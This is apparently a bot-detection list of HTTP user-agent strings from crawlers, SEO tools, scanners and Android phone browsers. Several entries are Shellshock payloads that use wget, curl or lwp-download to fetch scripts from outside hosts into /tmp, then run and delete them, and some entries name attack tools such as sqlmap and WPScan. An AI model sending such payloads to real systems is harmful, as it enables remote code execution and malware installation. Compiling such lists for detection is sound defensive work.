Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; CUBOT X6 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; es-es; CUBOT GT72E Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.3; ru-ru; Spider Build/JLS36C) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/2.0; +http://flipboard.com/browserproxy)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; trendictionbot0.5.0; trendiction search; http://www.trendiction.de/bot; please let us know of any problems; web at trendiction.com) Gecko/20170101 Firefox/67.0
Mozilla/5.0 (Windows NT 6.1) (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)
Mozilla/5.0 (Windows NT 6.1; compatible; BDCbot/1.0; +http://ecommerce.bigdatacorp.com.br/faq.aspx) ppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
Mozilla/5.0 (X11; Linux x8664; rv:25.0) Gecko/20100101 Firefox/25.0 TkSpider
Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.19; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko/2010040121 Firefox/3.0.19
Mozilla/5.0 Annuaire gratuit generaliste multiprise.NET (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1 AlexaToolbar/alxf-2.15 (http://www.multiprise.net)
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Nicecrawler/1.1; +http://www.nicecrawler.com/) Chrome/90.0.4430.97 Safari/537.36
Mozilla/5.0+(compatible;+Robot/1.2)
Mozilla/5.0+(compatible;+Sosospider/2.0;++http://help.soso.com/webspider.htm)
MXT/Nutch-1.12-SNAPSHOT (http://t.co/GSRLLKex24; informatique at mixdata dot com)
OdklBot/1.0 (klass@odnoklassniki.ru)
OppO 1.0 ( http://www.inboundscore.com )
OrgProbe/2.0.0 (+http://www.blocked.org.uk)
RepoLookoutBot/1.0.0 (abuse reports to abuse@repo-lookout.org)
RssBandit/1.5.0.10 (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; http://www.rssbandit.org) (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; )
SafeDNS search bot/Nutch-1.9 (https://www.safedns.com/searchbot; support [at] safedns [dot] com)
sc-downloader/2.0 (http://www.searchconcepts.ch)
Scrapy/0.24.6 (+http://scrapy.org)
Scrapy/1.2.1 (+http://scrapy.org)
Scrapy/2.11.1 (+https://scrapy.org)
scrapyproject (+http://www.profound.net)
Screaming Frog SEO Spider/10.4
Screaming Frog SEO Spider/2.20
Screaming Frog SEO Spider/7.1
SimpleBrowser (http://github.com/axefrog/SimpleBrowser)
SiteCheckerBot/1.0 (+http://sitechecker.pro)
sqlmap/1.0.8.2#dev (http://sqlmap.org)
Surferbot/1.0 (https://surferseo.com)
TasBot (http://www.httpool.com/)
test bot
Test Spider/Nutch-1.12
TinEye-bot/0.61 (see http://www.tineye.com/crawler.html)
TurnitinBot/2.1 (http://www.turnitin.com/robot/crawlerinfo.html)
UniversalFeedParser/3.3 +http://feedparser.org
Verity/1.1 (https://gumgum.com/verity; verity-support@gumgum.com)
WPScan v2.9.4-dev (http://wpscan.org)
YouBot (+http://www.you.com)
() { :;}; /bin/bash -c cd /tmp;curl -O http://31.220.1.111/oxo;wget http://31.220.1.111/oxo;perl /tmp/oxo*;perl oxo;rm -rf /tmp/oxo*
1S/1S-1.0 (http://www.example.com/)
2ip bot/1.1 (+http://2ip.io)
2ip.ru CMS Detector (http://2ip.ru/cms/)
abot/0.1 (abot; http://www.abot.com; abot@abot.com)
AliyunSecBot/Aliyun (AliyunSecBot@service.alibaba.com)
badbot
Buck/2.3.1; (+https://app.hypefactors.com/media-monitoring/about.html)
BufferBot
businessdbbot/v1.2 (http://www.businessdb.com/bot.php)
checkgzipcompression.com robot
colly
Companybook-Crawler (+https://www.companybooknetworking.com/)
COMPUTER REPAIR NEW JERSEY (+http://computernetworkcctvcat5cat6wiring.yolasite.com) ZSEBOT
Contacts-Crawler/0.2 (+http://www.scrapinghub.com)
DataFountains/Dmoz Downloader (http://ivia.ucr.edu/useragents.shtml)
DataparkSearch/4.xx (http://www.dataparksearch.org/)
DirBuster-0.12 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
DJEcoBot/1.0 (http://demandjump.com/; analytics@demandjump.com)
DoCoMo/2.0 D903i(c100;TB;W28H20) (compatible; Hatena-Mobile-Gateway/1.2; +http://mgw.hatena.ne.jp/help)
DomainStatsBot/1.0 (http://domainstats.io/our-bot)
Domnutch-Bot/Nutch-1.0 (Domnutch; http://www.Nutch.de/)
facebookexternalhit/1.1;kakaotalk-scrap/1.0; +https://devtalk.kakao.com/t/scrap/33984
Facebot/1.0
Feedshow/x.0 (http://www.feedshow.com; 1 subscriber)
fidget-spinner-bot
finbot
Firebat 2.9.3 (http://lms.virtual-presence.org)
FTRF: Friendly robot/1.3
Gigabot/2.0
GoodBot
grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)
GVC-SEARCH-BOT (+http://computernetworkscctvservices.wordpress.com) ZSEBOT
Hatena Antenna/0.5 (http://a.hatena.ne.jp/help)
Hatena-Favicon2 (http://www.hatena.ne.jp/faq/)
HawaiiBot
hivaBot/hivaBot-0.2
http://whois.gcoupon.com/www.makayikangpian.info
http://www.guido-eran.de
http://www.qataru.com
http://yacy.net/bot.html
HTTPRequest2/2.2.0 (http://pear.php.net/package/httprequest2) PHP/5.3.28
https://developers.whatismybrowser.com/useragents/parse/97301150safari-ios-iphone-webkit
HTTP_Request2/2.2.0 (http://pear.php.net/package/http_request2) PHP/5.3.29
ias-jp/3.3 (former https://www.admantx.com + https://integralads.com/about-ias/)
ias-or/3.3 (former https://www.admantx.com + https://integralads.com/about-ias/)
iCCrawler (http://www.iccenter.net)
Iframely/0.9.9 (+http://iframely.com/;)
iskanie (+http://www.iskanie.com)
Kemvibot/1.0 (http://kemvi.com marco@kemvi.com)
lanaibot please contact contactlanaibot@gmail.com for information
LanaiBotmarch
LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/3.1 +http://www.linkedin.com)/1.0 (LinkedInBot; https://www.linkedin.com/; wkrupa@linkedin.com)
Livelapbot/0.1
LoadImpactPageAnalyzer/1.3.0 (Load Impact; http://loadimpact.com/)
loofta v0.1.4 (http://www.openwebspider.org/)
MauiBot
MBCrawler/1.0 (https://monitorbacklinks.com/robot)
Mechanize/2.5.1 Ruby/1.9.2p290 (http://github.com/tenderlove/mechanize/)
Mechanize/2.7.2 Ruby/2.0.0p576 (http://github.com/sparklemotion/mechanize/)
mediawords bot (http://cyber.law.harvard.edu)
Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)
Mozilla 5.0 (compatible; SocialRankIOBot/1.0; https://socialrank.io/about)
Mozilla/4.0 (compatible; MSIE 6.0; TargetSeek/1.0; +http://www.targetgroups.net/TargetSeek.html)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRA 5.5 (build 02842); RadioClicker LITE; RadioClicker http://radioclicker.com; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; RADIOCLICKER LITE)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0 ; ClarityDailyBot)
Mozilla/4.6 (compatible) AppleWebKit/524.1 (KHTMLlike Gecko) Chrome/6.0.461.0 Safari/524.1 http://www.cnn.com/WORLD/ http://www.cnn.com/ASIA/ https://www.paypal.com/ http://www.myspace.com/ http://x-casinos.com/ http://www.facebook.com/ http://www.bitcome
Mozilla/5.0 (Auto Shell Spider)
Mozilla/5.0 (compatible) SemanticScholarBot (+https://www.semanticscholar.org/crawler)
Mozilla/5.0 (compatible; AcoonBot/4.11.1; +http://www.acoon.de/robot.asp)
Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/) X-Middleton/1
Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) [ip:168.119.65.114]
Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; no-reply@alexa.com)
Mozilla/5.0 (compatible; Aprc/2.9.15-24; +https://aprc.it/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3528.4 Safari/537.36
Mozilla/5.0 (compatible; BegunAdvertising/3.0; +http://begun.ru/begun/technology/indexer/)
Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup.com/crawler.html)
Mozilla/5.0 (compatible; BLEXBot/1.0; +https://help.seranking.com/en/blex-crawler)
Mozilla/5.0 (compatible; BluechipBacklinks/1.0; +http://bluechipbacklinks.com/bot.html)
Mozilla/5.0 (compatible; Discordbot/1.0; +https://discordapp.com)
Mozilla/5.0 (compatible; EasouSpider; +http://www.easou.com/spider.html)
Mozilla/5.0 (compatible; Exabot/3.0 (BiggerBetter); +http://www.exabot.com/go/robot)
Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com
Mozilla/5.0 (compatible; Hermit Search. Com; +http://www.hermitsearch.com)
Mozilla/5.0 (compatible; http://c7.fc2.com/about.html) mfc2/1.0
Mozilla/5.0 (compatible; HttpConduitDownloader/1.0; +http://hackage.haskell.org/package/http-conduit-downloader
Mozilla/5.0 (compatible; iaskspider/1.0; MSIE 6.0)
Mozilla/5.0 (compatible; IstellaBot/1.10.2 +http://www.tiscali.it/)
Mozilla/5.0 (compatible; IstellaBot/1.18.81 +http://www.tiscali.it/)
Mozilla/5.0 (compatible; IstellaBot/1.23.15 +http://www.tiscali.it/)
Mozilla/5.0 (compatible; Konturbot/1.2; +http://kontur.ru; cargo@kontur.ru)
Mozilla/5.0 (compatible; kulturarw3 +http://www.kb.se/om/projekt/Svenska-webbsidor---Kulturarw3/)
Mozilla/5.0 (compatible; LinkpadBot/1.06; +http://www.linkpad.ru)
Mozilla/5.0 (compatible; Linux i686; Yandex.Gazeta Bot/1.0; +http://gazeta.yandex.ru)
Mozilla/5.0 (compatible; Lipperhey Link Explorer; http://www.lipperhey.com/)
Mozilla/5.0 (compatible; LoadTimeBot/0.9; +http://www.loadtime.net/bot.html)
Mozilla/5.0 (compatible; MagiBot-Matarael/5.0.0; +http://www.peak-labs.com)
Mozilla/5.0 (compatible; Mail.RUBot/2.0)
Mozilla/5.0 (compatible; memoryBot/1.20.311 +http://internetmemory.org/en/)
Mozilla/5.0 (compatible; memoryBot/1.21.14 +http://mignify.com/bot.html)
Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php+)
Mozilla/5.0 (compatible; MJ12bot/v1.2.5; http://www.majestic12.co.uk/bot.php+)
Mozilla/5.0 (compatible; MJ12bot/v1.3.0; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MJ12bot/v1.4.2; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MJ12bot/v1.4.4; http://www.majestic12.co.uk/bot.php?+)
Mozilla/5.0 (compatible; MobileSurf; +http://mobileproxy.mobi)
Mozilla/5.0 (compatible; mon.itor.us
Mozilla/5.0 (compatible; NetpeakCheckerBot/3.6; +https://netpeaksoftware.com/checker)
Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)
Mozilla/5.0 (compatible; OpenindexSpider; +https://www.openindex.io/saas/about-our-spider/)
Mozilla/5.0 (compatible; Plukkie/1.4; http://www.botje.com/plukkie.htm)
Mozilla/5.0 (compatible; Plukkie/1.5; http://www.botje.com/plukkie.htm)
Mozilla/5.0 (compatible; Proximic crawler; +http://www.proximic.com/en/about-us/contact-us.html)
Mozilla/5.0 (compatible; Qwantbot-prod304666/1.0; +Qwantbot@qwant.com)
Mozilla/5.0 (compatible; Qwantbot-prod4666/1.0; +Qwantbot@qwant.com)
Mozilla/5.0 (compatible; Semager/1.4c; +http://www.semager.de/blog/semager-bots/)
Mozilla/5.0 (compatible; SemrushBot-COUB/1; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SemrushBot/7~bl-slave; +http://www.semrush.com/bot.html)
Mozilla/5.0 (compatible; SolomonoBot/1.05; +http://www.solomono.ru)
Mozilla/5.0 (compatible; spbot/1.0; +http://www.seoprofiler.com/bot/ )
Mozilla/5.0 (compatible; spbot/2.0; +http://www.seoprofiler.com/bot/ )
Mozilla/5.0 (compatible; Steeler/3.5; http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)
Mozilla/5.0 (compatible; StorygizeBot; http://www.storygize.com)
Mozilla/5.0 (Compatible; Supybot 0.83.4.1+gribble (2011-08-12T18:12:56-0400))
Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html; Linux; Android 4; iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25
Mozilla/5.0 (compatible; ThinkBot/0.3.0; +In_the_test_phase,_if_the_spider_brings_you_trouble,_please_add_our_IP_to_the_blacklist._Thank_you.)
Mozilla/5.0 (compatible; U; AnyEvent-HTTP/1.46; +http://software.schmorp.de/pkg/AnyEvent)
Mozilla/5.0 (compatible; U; AnyEvent-HTTP/2.15; +http://software.schmorp.de/pkg/AnyEvent)
Mozilla/5.0 (compatible; WebCookies/1.0; +http://webcookies.info/faq/#agent)
Mozilla/5.0 (compatible; WebNL; +http://www.web.nl/webmasters/spider.html; helpdesk@web.nl)
Mozilla/5.0 (compatible; YandexFavicons/1.0; +http://yandex.com/bots)
Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/ ; )
Mozilla/5.0 (DFTBA Short URL Spam Checker; python-requests; +http://dft.ba/spam-checker)
Mozilla/5.0 (Linux; Android 4.2.1; CUBOT GT99 Build/JOP40D) AppleWebKit/537.36 (KHTML like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.2.1; CUBOT ONE Build/JOP40D) AppleWebKit/537.36 (KHTML like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.2; GLX SpiderI Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.76 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.68 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 5.1; CUBOT_NOTE_S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT DINOSAUR Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT ECHO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT MAX) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.141 Mobile Safari/537.36 OPR/45.1.2246.125351
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/64.0.3282.137 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT CHEETAH 2 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT CHEETAH 2 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT H3 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT KING KONG Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT MAGIC Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.116 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT NOTE Plus Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT NOTE Plus Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT NOTE Plus Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT NOTE Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT R9 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT R9 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; M bot 60 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT J3 PRO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 2.3.9; zh-cn; MT6515M-CUBOT-C7/1.0 Android/2.3.9 Release/04.24.2013 Browser/AppleWebKit533.1 Build/MocorDroid2.3.5) AppleWebKit533.1 (KHTML like Gecko) Version/4.0 Mobil
Mozilla/5.0 (Linux; U; Android 4.2.1; ca-es; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; CUBOT GT99 Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; nl-nl; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; CUBOT X6 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; S222 Build/CUBOT) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; CUBOT X6 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; S308 Build/CUBOT) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; fr-fr; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 5.1; en-US; CUBOT_NOTE_S Build/LMY47I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.1.0.882 U3/0.8.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 6.0; CUBOT_NOTE_S Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Mobile Safari/537.36 OPR/27.0.2254.118423
Mozilla/5.0 (Linux; U; Android 6.0; en-US; CUBOT_MANITO Build/MRA58K) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/11.1.1.1091 Mobile
Mozilla/5.0 (Linux; U; Android 6.0; en-US; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.4.5.1005 U3/0.8.0 Mobile Safari/534.30
Mozilla/5.0 (Windows NT 10.0; Win64; x64; BDCbot/1.0; +http://bigweb.bigdatacorp.com.br/faq.aspx) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; compatible; BDCbot/1.0; +http://ecommerce.bigdatacorp.com.br/faq.aspx) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; compatible; BDCbot/1.0; +http://ecommerce.bigdatacorp.com.br/faq.aspx) ppleWebKit/537.36 (KHTML like Gecko) Chrome/41.0.2272.118 Safari/537.36
Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; https://www.jobboerse.com/bot.htm) Gecko/20100401 Firefox/24.0
Mozilla/5.0 zgrab/0.x (compatible; Researchscan/t12ca; +http://researchscan.comsys.rwth-aachen.de)
Mozilla/5.0 zgrab/0.x (compatible; Researchscan/t13rl; +http://researchscan.comsys.rwth-aachen.de)
my-tiny-bot
NetpeakCheckerBot/2.1; +https://netpeaksoftware.com/checker
Node/simplecrawler 0.3.6 (http://github.com/cgiffard/node-simplecrawler.git)
Nutch Spider/Nutch-2.2.1
OpenWebSpider/0.x.x (http://www.openwebspider.org)
Optimus5 Spider
Pattern/2.6 +http://www.clips.ua.ac.be/pattern
PEAR HTTP_Request class ( http://pear.php.net/ )
Peeplo Screenshot Bot/0.20 ( abuse at peeplo dot_com )
Peeplo%20Screenshot%20Bot/0.20%20(%20abuse%20at%20peeplo%20dotcom%20)
percbotspider ops@percolate.com
pr-cy.ru Screenshot Bot
Quantcastbot/1.0 (+http://www.quantcast.com/bot)
RankBotEU/1.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Readability/1900e6
Readability/47d45f
Readability/83dcfa
Readability/8e3085
Readability/8fa460
Readability/dba1e5
RebelMouse/0.1 Mozilla/5.0 (compatible; http://rebelmouse.com) Gecko/20100101 Firefox/7.0.1
RepoLookoutBot/v1.1.0-6-ge22d59f (abuse reports to abuse@repo-lookout.org)
Revealed-bot (crawler.revealed.ai)
RockmeltEmbedder (http://rockmelt.com; feedback@rockmelt.com)
RockmeltEmbedService (http://rockmelt.com)
rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot- rogerbot-crawler+shiny@moz.com)
Scrapy/0.22.2 (+http://scrapy.org)
Scrapy/1.1.2 (+http://scrapy.org)
Scrapy/1.3.2 (+http://scrapy.org)
Scrapy/2.2.1 (+https://scrapy.org)
Scrapy/2.3.0 (+https://scrapy.org)
Scrapy/2.5.1 (+https://scrapy.org)
Scrapy/2.6.1 (+https://scrapy.org)
Screaming Frog SEO Spider/15.2
Screaming Frog SEO Spider/19.8
Screaming Frog SEO Spider/2.50
Screaming Frog SEO Spider/21.4
Screaming Frog SEO Spider/3.2
Screaming Frog SEO Spider/4.1
Screaming Frog SEO Spider/9.4
ScreenerBot Crawler Beta 2.0 (+http://www.ScreenerBot.com)
SemanticJuice (+https://www.semanticjuice.com/)
Sens.ai http://sens.ai/contact
SenutoBot/1.0 (compatible; SenutoBot/1.0; +https://www.senuto.com/)
SimplePie/1.1.1 (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20080315205903
SiteCheck
spider-on-the-fly 20q v4.256 Discover Life www.discoverlife.org
sqlmap/1.1.6#stable (http://sqlmap.org)
sqlmap/1.1.9#stable (http://sqlmap.org)
sqlmap/1.2.10#stable (http://sqlmap.org)
sqlmap/1.2.4#stable (http://sqlmap.org)
sqlmap/1.2.7#stable (http://sqlmap.org)
test-bot
Textual/1.0 (+http://www.codeux.com/textual)
thesis-research-bot
TinyBotTestUA
TosCrawler/Nutch-1.6 (http://www.toshiba.co.jp/rdc/about/crawlinfoen.htm; 'Rdc-crawler at ml dot toshiba dot co dot jp')
UCWEB/2.0 (Linux; U; Opera Mini/7.1.32052/30.3697; http://www.djezzy.com/acces-non-autorise/; LG-D618) U2/1.0.0 UCBrowser/9.8.0.534 Mobile
W3C html2txt (http://www.w3.org/services/html2txt)
WIRE/0.x (Linux; i686; BotRobotSpiderCrawler)
WPScan v2.9.4 (http://wpscan.org)
yacybot
YOURLS v1.5.1 +http://yourls.org/ (running on http://TASTY-BYTES.CO.UK)
YOURLS v1.7 +http://yourls.org/ (running on http://tr.im)
ZoominfoBot/Nutch-1.12-SNAPSHOT
!Susie(http://www.sync2it.com/susie)
() :; ; wget http://dev.vremonte24.ru
() :;; /bin/bash -c "wget http://stblehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stabehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh"
() ; echo calpo bash -c 'wget http://yourschool.net/.tmp/frogclog.phphttp://myip.ms/view/dns/84107/dnsadm-interno.uninet.net.mx'
() ; echo calpo bash -c 'wget http://yourschool.net/.tmp/frogclog.phphttp://whatmyip.co/browse/sites/1/host/sauron.xo.pl'
() { :;}; /bin/bash -c cd /tmp;lwp-download -a http://69.12.70.34/api;curl -O http://69.12.70.34/api;wget http://69.12.70.34/api;perl /tmp/api*;perl api;rm -rf /tmp/api*
404 Checker [http://www.404checker.com/user-agent]
777Siters/1.05 (+http://777s.ru/siters/)
7Siters/1.09 (+https://7ooo.ru/siters/)
Aboundex/0.2 (http://www.aboundex.com/crawler/)
Aboundex/0.3 (http://www.aboundex.com/crawler/)
Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)
Acoon Robot v1.52 (http://www.acoon.de)
AddThis.com (http://support.addthis.com/)
AdsTxtCrawler/1.0; +https://crimtan.com
Aitellu BlogSwarm (http://www.aitellu.com)
Ant bot/1.1 (https://www.ant.com; admin@ant.com)
ant.com/Nutch-1.7 (http://ant.com)
AntBot/1.0 (http://www.ant.com)
Ara.com.tr / Bot 1.0
archive.orgbot
arquivo-web-crawler (compatible; heritrix/3.4.0-20200304 +http://arquivo.pt)
Automattic Analytics Crawler/0.1; http://wordpress.com/crawler
Automattic Analytics Crawler/0.2; http://wordpress.com/crawler
Blackboard Safeassign/0.1 (a Storm-based Blackboard Safeassign web-crawler; https://github.com/DigitalPebble/storm-crawler; stormcrawler@digitalpebble.com)
blogtop.us crawler
bot-pge.chlooe.com/1.0.0 (+http://www.chlooe.com/)
Bot.AraTurka.com/0.0.2
Bravobot
BUbiNG
BusinessBot: Nathan@lead-caddy.com
Catall Spider
